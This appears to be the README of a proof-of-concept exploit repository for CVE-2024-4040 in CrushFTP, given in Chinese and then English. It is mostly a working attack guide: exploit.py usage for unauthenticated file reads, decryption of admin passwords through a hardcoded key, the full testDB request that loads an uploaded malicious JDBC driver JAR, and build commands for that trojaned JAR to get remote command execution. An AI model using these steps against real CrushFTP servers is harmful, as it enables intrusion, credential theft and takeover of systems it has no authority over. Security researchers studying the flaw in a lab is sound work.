
CVE-2024-4040(CrushFTP)的概念验证漏洞利用,提供未认证文件读取、凭据解密,以及通过恶意 JAR 上传和 testDB 滥用实现远程代码执行。
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py 以及 decrypt.java 取得密碼並且解密,至於原因簡單來說 key 是寫死的,所以可以解開加上可以任意讀檔crushadmin 不存在的話,可以嘗試抓 CrushFTP.log,裡面有帳號資訊可以參考
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML 檔案crushadmin 這個預設存在的 admin accountdecrypt.java 去解開密碼--shell 功能是方便看 RCE 過後的結果,透過下面的方式上傳 jar 檔案之後可以指定 --jar-path 以及 --headers 就可以看到執行命令的結果
--headers 中一定要給登入後的 Cookie,例如 --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path 預設會是 /tmp/mysql_cmd_db_user_final_with_echo_base64.jar 如果是不一樣的位置記得要指定路徑,理論上相對路徑也可以但建議使用絕對路徑exit 就可以退出了python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
User Manager 之後點擊左邊的使用者,可以拖曳自己想要映射的 folder 到 User's Stuff 那邊,最後調整權限,upload 一定要勾


testDB 的功能可以自己指定 jar file 以及 driver object,加上可以上傳,把這兩個串起來就可以 RCE 了command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
iddb_user 傳入 base64 encode 過後的 command 就可以執行了mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py and decrypt.java to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.crushadmin, does not exist, you can try grabbing CrushFTP.log for account information.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML file.crushadmin admin account.decrypt.java to decrypt the password.--shell feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify --jar-path and --headers to see the execution command's result:
--headers must include the logged-in Cookie, for example, --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path defaults to /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
User Manager, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.


testDB function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user parameter to execute it.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
exitpython3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"